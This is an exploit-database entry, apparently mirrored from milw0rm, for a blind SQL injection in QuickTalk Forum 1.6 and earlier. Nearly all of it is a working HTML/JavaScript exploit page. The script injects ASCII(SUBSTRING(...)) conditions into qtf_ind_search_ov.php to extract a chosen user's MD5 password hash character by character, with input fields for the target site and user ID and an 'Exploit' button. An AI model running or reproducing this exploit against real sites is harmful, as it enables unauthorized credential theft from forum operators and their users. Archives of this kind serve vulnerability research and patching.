QuickTalk Forum <= 1.6 - Remote Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
QuickTalk Forum Remote Blind SQL Injection Exploit for version 1.

                                                &#60;html&#62;
&#60;head&#62;
&#60;title&#62;QuickTalk Forum &#60;= 1.6 Blind SQL Injection Exploit&#60;/title&#62;
&#60;script language=&#34;Javascript&#34; type=&#34;text/javascript&#34;&#62;
/*
	-----------------------------------------------------------------------------------------------
	- QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) -
	- Info ---------------------------------------------------------------------------------------
	- Author: t0pP8uZz & xprog -----------------------------------------------------------
	- Exploit Coded By t0pP8uZz ---------------------------------------------------------
	- Site: h4ck-y0u.org / milw0rm.com ------------------------------------------------
	----------------------------------------------------------------------------------------------
	- Passwords ARE IN MD5           ----------------------------------------------------
	- Peace -----------------------------------------------------------------------------------
	---------------------------------------------------------------------------------------------
*/

var site, uid, res = &#34;&#34;;

function Start() {
	
	site = document.getElementById(&#34;site&#34;).value;
	uid  = document.getElementById(&#34;pid&#34;).value;
	document.getElementById(&#34;output&#34;).value = &#34;Exploiting, Please Wait..&#34;;
	
	Main(1, 48);
}

function Main(substr, num) {

	var xmlhttp = false;
	var url     = site+&#34;/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id=&#34;+uid+&#34; LIMIT 0,1),&#34;+substr+&#34;,1))=&#34;+num+&#34;/*&#34;;
	
	try {
		xmlhttp = new XMLHttpRequest();
	} catch(e) { alert(&#34;Unsupported Browser! Run Exploit In Mozilla Firefox!&#34;); }
	
	if(xmlhttp) {
	
		netscape.security.PrivilegeManager.enablePrivilege(&#34;UniversalBrowserRead&#34;);
		xmlhttp.onreadystatechange = function() {
		
			if(xmlhttp.readyState == 4) {
			
				var content = xmlhttp.responseText;
				
				var ele = document.getElementById(&#34;output&#34;);
				if(!content.match(/0 Found/i)) {
					res += String.fromCharCode(num);
					ele.value = res;
					num = 48;
					substr++;
				}
				else {
					if(num == 59) { num = 96; }
					else { num++; }
				}
				
				if(res.length &#62;= 32) { alert(&#34;Exploitation Successfull!. Admin MD5 Hash: &#34;+res); return true; }
				Main(substr, num)
			}
		};
		xmlhttp.open(&#34;GET&#34;, url, true);
		xmlhttp.send(null);
	}
}

&#60;/script&#62;
&#60;style type=&#34;text/css&#34;&#62;
&#60;!--
.style1{color: #CC0000}
.style2 { color: #000000;  font-size: 12px;}
.style3 {color: #FF0000; font-weight: bold; font-size: 12px; }
.style4 {color: #FF0000; font-size: 10px;}
--&#62;
&#60;/style&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;p class=&#34;style1&#34;&#62;- QuickTalk Forum &#60;= 1.6 Blind SQL Injection Exploit -&#60;/p&#62;
&#60;p class=&#34;style2&#34;&#62;Site: &#60;input type=&#34;text&#34; id=&#34;site&#34; /&#62; (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)&#60;/p&#62;
&#60;p class=&#34;style2&#34;&#62;User: &#60;input type=&#34;text&#34; id=&#34;pid&#34; /&#62; (UserID of the user you want the MD5 hash too.)&#60;/p&#62;
&#60;p class=&#34;style2&#34;&#62;&#60;input type=&#34;button&#34; onclick=&#34;Start();&#34; id=&#34;button&#34; value=&#34;Exploit&#34; /&#62;&#60;/p&#62;
&#60;p class=&#34;style3&#34;&#62;Output (MD5 Hash): &#60;input type=&#34;text&#34; id=&#34;output&#34; size=&#34;100&#34; /&#62;&#60;/p&#62; (Do not touch untill exploit says its done)
&#60;p class=&#34;style2&#34;&#62;Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords&#60;/p&#62;
&#60;p class=&#34;style4&#34;&#62;Coded By t0pP8uZz - h4ck-y0u.org&#60;/p&#62;
&#60;/body&#62;
&#60;/html&#62;

# milw0rm.com [2008-03-12]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1